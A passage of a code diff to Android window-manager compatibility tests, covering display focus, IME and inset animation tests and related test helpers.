new RectChecker(new Rect(0, 0, 100, 100), PixelColor.WHITE));
+ // Since the SurfaceControl is parented off-screen, if we release our reference
+ // it may completely die. If this occurs while the render thread is still rendering
+ // the RED background we could trigger a crash. For this test defer destroying the
+ // Surface until we have collected our test results.
+ if (sc != null) {
+ sc.release();
+ }
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index ae9a40c..bdb28b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -135,7 +135,10 @@
sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_1, DEFAULT_DISPLAY);
assumeTrue(supportsMultiDisplay());
- final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
+
+ // VirtualDisplay can't maintain perDisplayFocus because it is not trusted,
+ // so uses SimulatedDisplay instead.
+ final SimulatedDisplaySession session = createManagedSimulatedDisplaySession();
final int secondaryDisplayId = session.getDisplayId();
final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_2, INVALID_DISPLAY);
@@ -497,13 +500,7 @@
}
SecondaryActivity startActivityAndFocus() {
- final int displayId = getDisplayId();
- // An untrusted virtual display won't have focus until the display is touched.
- final SecondaryActivity activity = WindowManagerTestBase.startActivity(
- SecondaryActivity.class, displayId, false /* hasFocus */);
- tapOnCenterOfDisplay(displayId);
- activity.waitAndAssertWindowFocusState(true);
- return activity;
+ return WindowFocusTests.startActivityAndFocus(getDisplayId(), false /* hasFocus */);
}
@Override
@@ -516,4 +513,40 @@
}
}
}
+
+ private SimulatedDisplaySession createManagedSimulatedDisplaySession() {
+ return mObjectTracker.manage(new SimulatedDisplaySession());
+ }
+
+ private class SimulatedDisplaySession implements AutoCloseable {
+ private final VirtualDisplaySession mVirtualDisplaySession;
+ private final WindowManagerState.DisplayContent mVirtualDisplay;
+
+ SimulatedDisplaySession() {
+ mVirtualDisplaySession = new VirtualDisplaySession();
+ mVirtualDisplay = mVirtualDisplaySession.setSimulateDisplay(true).createDisplay();
+ }
+
+ int getDisplayId() {
+ return mVirtualDisplay.mId;
+ }
+
+ SecondaryActivity startActivityAndFocus() {
+ return WindowFocusTests.startActivityAndFocus(getDisplayId(), true /* hasFocus */);
+ }
+
+ @Override
+ public void close() {
+ mVirtualDisplaySession.close();
+ }
+ }
+
+ private static SecondaryActivity startActivityAndFocus(int displayId, boolean hasFocus) {
+ // An untrusted virtual display won't have focus until the display is touched.
+ final SecondaryActivity activity = WindowManagerTestBase.startActivity(
+ SecondaryActivity.class, displayId, hasFocus);
+ tapOnCenterOfDisplay(displayId);
+ activity.waitAndAssertWindowFocusState(true);
+ return activity;
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 24636e3..c90b859 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -25,23 +25,28 @@
import static android.view.WindowInsets.Type.statusBars;
import static androidx.test.internal.runner.junit4.statement.UiThreadStatement.runOnUiThread;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.hamcrest.Matchers.contains;
-import static org.hamcrest.Matchers.containsInAnyOrder;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.hasItem;
import static org.hamcrest.Matchers.hasSize;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.not;
import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
import static org.hamcrest.Matchers.sameInstance;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
import static org.junit.Assume.assumeTrue;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.ValueAnimator;
+import android.app.Instrumentation;
import android.graphics.Insets;
import android.os.CancellationSignal;
import android.platform.test.annotations.Presubmit;
@@ -61,6 +66,10 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -86,7 +95,7 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:WindowInsetsAnimationControllerTests
*/
-@Presubmit
+//TODO(b/159167851) @Presubmit
@RunWith(Parameterized.class)
public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
@@ -103,6 +112,13 @@
@Rule
public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
+ /**
+ * {@link MockImeSession} used when {@link #mType} is
+ * {@link android.view.WindowInsets.Type#ime()}.
+ */
+ @Nullable
+ private MockImeSession mMockImeSession;
+
@Parameter(0)
public int mType;
@@ -121,16 +137,52 @@
@Before
public void setUp() throws Exception {
super.setUp();
+ final ImeEventStream mockImeEventStream;
+ if (mType == ime()) {
+ final Instrumentation instrumentation = getInstrumentation();
+ assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+ nullValue());
+
+ // For the best test stability MockIme should be selected before launching TestActivity.
+ mMockImeSession = MockImeSession.create(
+ instrumentation.getContext(), instrumentation.getUiAutomation(),
+ new ImeSettings.Builder());
+ mockImeEventStream = mMockImeSession.openEventStream();
+ } else {
+ mockImeEventStream = null;
+ }
+
mActivity = startActivity(TestActivity.class);
mRootView = mActivity.getWindow().getDecorView();
mListener = new ControlListener(mErrorCollector);
assumeTestCompatibility();
+
+ if (mockImeEventStream != null) {
+ // TestActivity has a focused EditText. Hence MockIme should receive onStartInput() for
+ // that EditText within a reasonable time.
+ expectEvent(mockImeEventStream,
+ editorMatcher("onStartInput", mActivity.getEditTextMarker()),
+ TimeUnit.SECONDS.toMillis(10));
+ }
}
@After
public void tearDown() throws Throwable {
runOnUiThread(() -> {}); // Fence to make sure we dispatched everything.
mCallbacks.forEach(VerifyingCallback::assertNoRunningAnimations);
+
+ // Unregistering VerifyingCallback as tearing down the MockIme also triggers UI events,
+ // which can trigger assertion failures in VerifyingCallback otherwise.
+ runOnUiThread(() -> {
+ mCallbacks.clear();
+ mRootView.setWindowInsetsAnimationCallback(null);
+ });
+
+ // Now it should be safe to reset the IME to the default one.
+ if (mMockImeSession != null) {
+ mMockImeSession.close();
+ mMockImeSession = null;
+ }
}
private void assumeTestCompatibility() {
@@ -140,6 +192,7 @@
}
}
+ @Presubmit
@Test
public void testControl_andCancel() throws Throwable {
runOnUiThread(() -> {
@@ -172,6 +225,7 @@
mListener.assertWasNotCalled(FINISHED);
}
+ @Presubmit
@Test
public void testControl_immediately_show() throws Throwable {
setVisibilityAndWait(mType, false);
@@ -192,6 +246,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_immediately_hide() throws Throwable {
setVisibilityAndWait(mType, true);
@@ -212,6 +267,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_show() throws Throwable {
setVisibilityAndWait(mType, false);
@@ -230,6 +286,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_hide() throws Throwable {
setVisibilityAndWait(mType, true);
@@ -248,6 +305,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_show_interpolator() throws Throwable {
mInterpolator = new DecelerateInterpolator();
@@ -267,6 +325,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_hide_interpolator() throws Throwable {
mInterpolator = new AccelerateInterpolator();
@@ -309,6 +368,7 @@
mListener.assertWasNotCalled(FINISHED);
}
+ @Presubmit
@Test
public void testImeControl_isntInterruptedByStartingInput() throws Throwable {
if (mType != ime()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 32255d2..3668172 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -19,6 +19,7 @@
import static android.graphics.Insets.NONE;
import static android.view.WindowInsets.Type.ime;
import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -32,7 +33,9 @@
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.withSettings;
+import android.app.Instrumentation;
import android.content.pm.PackageManager;
+import android.graphics.Color;
import android.platform.test.annotations.Presubmit;
import android.view.WindowInsets;
@@ -40,10 +43,9 @@
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
+import com.android.cts.mockime.MockImeSession;
import org.junit.Before;
-import org.junit.Rule;
import org.junit.Test;
import org.mockito.InOrder;
@@ -56,12 +58,7 @@
@Presubmit
public class WindowInsetsAnimationImeTests extends WindowInsetsAnimationTestBase {
- @Rule
- public final MockImeSessionRule mMockImeSessionRule = new MockImeSessionRule(
- InstrumentationRegistry.getInstrumentation().getContext(),
- InstrumentationRegistry.getInstrumentation().getUiAutomation(),
- new ImeSettings.Builder()
- );
+ private static final int KEYBOARD_HEIGHT = 600;
@Before
public void setup() throws Exception {
@@ -69,33 +66,36 @@
assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
mInstrumentation.getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_INPUT_METHODS));
+ }
+
+ private void initActivity(boolean useFloating) throws Exception {
+ initMockImeSession(useFloating);
+
mActivity = startActivity(TestActivity.class);
mRootView = mActivity.getWindow().getDecorView();
}
+ private MockImeSession initMockImeSession(boolean useFloating) throws Exception {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ return MockImeSession.create(
+ instrumentation.getContext(), instrumentation.getUiAutomation(),
+ useFloating ? getFloatingImeSettings()
+ : new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT)
+ .setDrawsBehindNavBar(true));
+ }
+
@Test
- public void testImeAnimationCallbacksShowAndHide() {
- WindowInsets before = mActivity.mLastWindowInsets;
- getInstrumentation().runOnMainSync(
- () -> mRootView.getWindowInsetsController().show(ime()));
-
- waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
- commonAnimationAssertions(mActivity, before, true /* show */, ime());
- mActivity.mCallback.animationDone = false;
-
- before = mActivity.mLastWindowInsets;
-
- getInstrumentation().runOnMainSync(
- () -> mRootView.getWindowInsetsController().hide(ime()));
-
- waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-
- commonAnimationAssertions(mActivity, before, false /* show */, ime());
+ public void testImeAnimationCallbacksShowAndHide() throws Exception {
+ initActivity(false /* useFloating */);
+ testShowAndHide();
}
@Test
@FlakyTest(detail = "Promote once confirmed non-flaky")
- public void testAnimationCallbacks_overlapping_opposite() {
+ public void testAnimationCallbacks_overlapping_opposite() throws Exception {
+ assumeTrue(hasWindowInsets(navigationBars()));
+
+ initActivity(false /* useFloating */);
WindowInsets before = mActivity.mLastWindowInsets;
MultiAnimCallback callbackInner = new MultiAnimCallback();
@@ -153,4 +153,39 @@
callback.imeAnimSteps.get(callback.imeAnimSteps.size() - 1).insets
.getInsets(ime()));
}
+
+ @Test
+ public void testZeroInsetsImeAnimates() throws Exception {
+ initActivity(true /* useFloating */);
+ testShowAndHide();
+ }
+
+ private void testShowAndHide() {
+ WindowInsets before = mActivity.mLastWindowInsets;
+ getInstrumentation().runOnMainSync(
+ () -> mRootView.getWindowInsetsController().show(ime()));
+
+ waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+ commonAnimationAssertions(mActivity, before, true /* show */, ime());
+ mActivity.mCallback.animationDone = false;
+
+ before = mActivity.mLastWindowInsets;
+
+ getInstrumentation().runOnMainSync(
+ () -> mRootView.getWindowInsetsController().hide(ime()));
+
+ waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+
+ commonAnimationAssertions(mActivity, before, false /* show */, ime());
+ }
+
+ private static ImeSettings.Builder getFloatingImeSettings() {
+ final ImeSettings.Builder builder = new ImeSettings.Builder();
+ builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
+ // As documented, Window#setNavigationBarColor() is actually ignored when the IME window
+ // does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS. We are calling setNavigationBarColor()
+ // to ensure it.
+ builder.setNavigationBarColor(Color.BLACK);
+ return builder;
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index d4e6472..f51708f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -20,6 +20,7 @@
import static android.server.wm.WindowInsetsAnimationUtils.requestControlThenTransitionToVisibility;
import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static android.view.WindowInsets.Type.ime;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -43,6 +44,7 @@
import android.view.WindowInsetsAnimation;
import android.view.WindowInsetsAnimation.Callback;
import android.view.WindowInsetsController;
+import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodManager;
import android.widget.EditText;
import android.widget.FrameLayout;
@@ -136,8 +138,10 @@
super.onCreate(savedInstanceState);
getWindow().requestFeature(Window.FEATURE_NO_TITLE);
getWindow().setDecorFitsSystemWindows(false);
+ getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
mTestView = new TestView(this);
mEditText = new EditText(this);
+ mEditText.setImeOptions(EditorInfo.IME_FLAG_NO_FULLSCREEN);
mTestView.addView(mEditText);
mTestView.mEvaluator = () -> {
if (mEvaluator != null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
index 6fe77e4..ebcc34a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
@@ -22,6 +22,7 @@
import static android.view.WindowInsets.Type.statusBars;
import static android.view.WindowInsets.Type.systemBars;
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
@@ -33,16 +34,20 @@
import static org.mockito.Mockito.inOrder;
import static org.mockito.Mockito.spy;
+import android.graphics.Insets;
import android.os.Bundle;
+import android.os.SystemClock;
+import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
import android.util.ArraySet;
import android.view.View;
import android.view.WindowInsets;
import android.view.WindowInsetsAnimation;
-import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
+import androidx.annotation.NonNull;
+
import org.junit.Assert;
import org.mockito.InOrder;
@@ -99,6 +104,10 @@
assertEquals(after, steps.get(steps.size() - 1).insets);
}
+ protected boolean hasWindowInsets(int types) {
+ return Insets.NONE != mRootView.getRootWindowInsets().getInsetsIgnoringVisibility(types);
+ }
+
protected void assertAnimationSteps(ArrayList<AnimationStep> steps, boolean showAnimation) {
assertTrue(steps.size() >= 2);
assertEquals(0f, steps.get(0).fraction, 0f);
@@ -281,6 +290,10 @@
public static class TestActivity extends FocusableActivity {
+ private final String mEditTextMarker =
+ "android.server.wm.WindowInsetsAnimationTestBase.TestActivity"
+ + SystemClock.elapsedRealtimeNanos();
+
AnimCallback mCallback =
spy(new AnimCallback(WindowInsetsAnimation.Callback.DISPATCH_MODE_STOP));
WindowInsets mLastWindowInsets;
@@ -299,6 +312,11 @@
}
}
+ @NonNull
+ String getEditTextMarker() {
+ return mEditTextMarker;
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -308,12 +326,14 @@
mView.setOnApplyWindowInsetsListener(mListener);
mChild = new TextView(this);
mEditor = new EditText(this);
+ mEditor.setPrivateImeOptions(mEditTextMarker);
mView.addView(mChild);
mView.addView(mEditor);
getWindow().setDecorFitsSystemWindows(false);
getWindow().getAttributes().layoutInDisplayCutoutMode =
LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+ getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
setContentView(mView);
mEditor.requestFocus();
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index 756426a..0a471a6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -26,6 +26,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.argThat;
import static org.mockito.ArgumentMatchers.eq;
@@ -50,8 +51,6 @@
import java.util.List;
-import androidx.test.filters.FlakyTest;
-
/**
* Test whether {@link WindowInsetsAnimation.Callback} are properly dispatched to views.
*
@@ -66,6 +65,7 @@
super.setUp();
mActivity = startActivity(TestActivity.class);
mRootView = mActivity.getWindow().getDecorView();
+ assumeTrue(hasWindowInsets(systemBars()));
}
@Test
@@ -99,7 +99,6 @@
}
@Test
- @FlakyTest(detail = "Promote once confirmed non-flaky")
public void testAnimationCallbacks_overlapping() {
WindowInsets before = mActivity.mLastWindowInsets;
@@ -220,10 +219,14 @@
waitForOrFail("Waiting until animation done", () -> done[0]);
- verify(childCallback).onStart(any(), argThat(
- bounds -> bounds.getUpperBound().equals(before.getInsets(statusBars()))));
- verify(childCallback, atLeastOnce()).onProgress(argThat(
- insets -> NONE.equals(insets.getInsets(navigationBars()))), any());
+ if (hasWindowInsets(statusBars())) {
+ verify(childCallback).onStart(any(), argThat(
+ bounds -> bounds.getUpperBound().equals(before.getInsets(statusBars()))));
+ }
+ if (hasWindowInsets(navigationBars())) {
+ verify(childCallback, atLeastOnce()).onProgress(argThat(
+ insets -> NONE.equals(insets.getInsets(navigationBars()))), any());
+ }
}
@Test
@@ -239,14 +242,12 @@
});
});
- getWmState().waitFor(state -> !state.isWindowVisible("StatusBar"),
- "Waiting for status bar to be hidden");
- assertFalse(getWmState().isWindowVisible("StatusBar"));
+ waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+ assertFalse(getWmState().isWindowVisible("StatusBar"));
verify(mActivity.mCallback).onPrepare(any());
verify(mActivity.mCallback).onStart(any(), any());
verify(mActivity.mCallback, atLeastOnce()).onProgress(any(), any());
verify(mActivity.mCallback).onEnd(any());
}
-
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 0f29d97..aca3a97 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -29,17 +29,26 @@
import static android.view.WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE;
import static android.view.WindowManager.LayoutParams.FLAG_FULLSCREEN;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeThat;
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
import android.app.AlertDialog;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
@@ -53,10 +62,14 @@
import android.widget.LinearLayout;
import android.widget.TextView;
+import androidx.annotation.Nullable;
import androidx.test.filters.FlakyTest;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
import org.junit.Rule;
import org.junit.Test;
@@ -78,6 +91,9 @@
private final static long TIME_SLICE = 50; // milliseconds
private final static AnimationCallback ANIMATION_CALLBACK = new AnimationCallback();
+ private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOGS =
+ "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
+
@Rule
public final ErrorCollector mErrorCollector = new ErrorCollector();
@@ -174,17 +190,27 @@
}
@Test
- public void testImeShowAndHide() {
- final TestActivity activity = startActivity(TestActivity.class);
- final View rootView = activity.getWindow().getDecorView();
- getInstrumentation().runOnMainSync(() -> {
- rootView.getWindowInsetsController().show(ime());
- });
- PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
- getInstrumentation().runOnMainSync(() -> {
- rootView.getWindowInsetsController().hide(ime());
- });
- PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+ public void testImeShowAndHide() throws Exception {
+ final Instrumentation instrumentation = getInstrumentation();
+ assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+ nullValue());
+ try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+ instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ final TestActivity activity = startActivity(TestActivity.class);
+ expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
+
+ final View rootView = activity.getWindow().getDecorView();
+ getInstrumentation().runOnMainSync(() -> {
+ rootView.getWindowInsetsController().show(ime());
+ });
+ PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
+ getInstrumentation().runOnMainSync(() -> {
+ rootView.getWindowInsetsController().hide(ime());
+ });
+ PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+ }
}
@Test
@@ -394,6 +420,12 @@
// Swiping from top of display can show bars.
dragFromTopToCenter(rootView);
PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
+
+ // The swipe action brings down the notification shade which causes subsequent tests to
+ // fail.
+ if (isAutomotive(mContext)) {
+ broadcastCloseSystemDialogs();
+ }
}
@Test
@@ -448,11 +480,17 @@
@Test
public void testShowImeOnCreate() throws Exception {
- final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
- final View rootView = activity.getWindow().getDecorView();
- ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
- PollingCheck.waitFor(TIMEOUT,
- () -> rootView.getRootWindowInsets().isVisible(ime()));
+ final Instrumentation instrumentation = getInstrumentation();
+ assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+ nullValue());
+ try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+ instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+ final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
+ final View rootView = activity.getWindow().getDecorView();
+ ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+ PollingCheck.waitFor(TIMEOUT,
+ () -> rootView.getRootWindowInsets().isVisible(ime()));
+ }
}
@Test
@@ -509,6 +547,14 @@
}
+ private static void broadcastCloseSystemDialogs() {
+ executeShellCommand(AM_BROADCAST_CLOSE_SYSTEM_DIALOGS);
+ }
+
+ private static boolean isAutomotive(Context context) {
+ return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
private static void hideInsets(View view, int types) throws InterruptedException {
ANIMATION_CALLBACK.reset();
getInstrumentation().runOnMainSync(() -> {
@@ -592,10 +638,11 @@
}
}
- private static View setViews(Activity activity) {
+ private static View setViews(Activity activity, @Nullable String privateImeOptions) {
LinearLayout layout = new LinearLayout(activity);
View text = new TextView(activity);
EditText editor = new EditText(activity);
+ editor.setPrivateImeOptions(privateImeOptions);
layout.addView(text);
layout.addView(editor);
activity.setContentView(layout);
@@ -604,11 +651,14 @@
}
public static class TestActivity extends FocusableActivity {
+ final String mEditTextMarker =
+ getClass().getName() + "/" + SystemClock.elapsedRealtimeNanos();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- setViews(this);
+ setViews(this, mEditTextMarker);
+ getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
}
}
@@ -617,7 +667,7 @@
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- View layout = setViews(this);
+ View layout = setViews(this, null /* privateImeOptions */);
ANIMATION_CALLBACK.reset();
getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
getWindow().getInsetsController().hide(statusBars());
@@ -626,11 +676,10 @@
}
public static class TestShowOnCreateActivity extends FocusableActivity {
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- View layout = setViews(this);
+ setViews(this, null /* privateImeOptions */);
ANIMATION_CALLBACK.reset();
getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
getWindow().getInsetsController().show(ime());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 76cf406..afa03c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -29,6 +29,7 @@
import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.view.Display.DEFAULT_DISPLAY;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
@@ -259,7 +260,7 @@
// Launch alias activity.
getLaunchActivityBuilder().setUseInstrumentation().setTargetActivity(ALIAS_TEST_ACTIVITY)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
- final int stacks = mWmState.getRootTasksCount();
+ final int stacks = mWmState.getRootTasksCount(DEFAULT_DISPLAY);
final int taskId =
mWmState.getTaskByActivity(ALIAS_TEST_ACTIVITY).getTaskId();
@@ -270,7 +271,7 @@
assertEquals("Instance of the activity in its task must be only one", 1,
mWmState.getActivityCountInTask(taskId, ALIAS_TEST_ACTIVITY));
assertEquals("Stacks counts should not be increased.", stacks,
- mWmState.getRootTasksCount());
+ mWmState.getRootTasksCount(DEFAULT_DISPLAY));
// Return to home and launch the real activity.
launchHomeActivity();
@@ -279,7 +280,7 @@
assertEquals("Instance of the activity in its task must be only one", 1,
mWmState.getActivityCountInTask(taskId, ALIAS_TEST_ACTIVITY));
assertEquals("Stacks counts should not be increased.", stacks,
- mWmState.getRootTasksCount());
+ mWmState.getRootTasksCount(DEFAULT_DISPLAY));
}
/**
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 77391b9..7ddc020 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -215,6 +215,7 @@
private static Boolean sHasHomeScreen = null;
private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
private static Boolean sSupportsInsecureLockScreen = null;
+ private static Boolean sIsAssistantOnTop = null;
private static boolean sStackTaskLeakFound;
protected static final int INVALID_DEVICE_ROTATION = -1;
@@ -1092,6 +1093,14 @@
return sSupportsInsecureLockScreen;
}
+ protected boolean isAssistantOnTop() {
+ if (sIsAssistantOnTop == null) {
+ sIsAssistantOnTop = mContext.getResources().getBoolean(
+ android.R.bool.config_assistantOnTopOfDream);
+ }
+ return sIsAssistantOnTop;
+ }
+
/**
* Rotation support is indicated by explicitly having both landscape and portrait
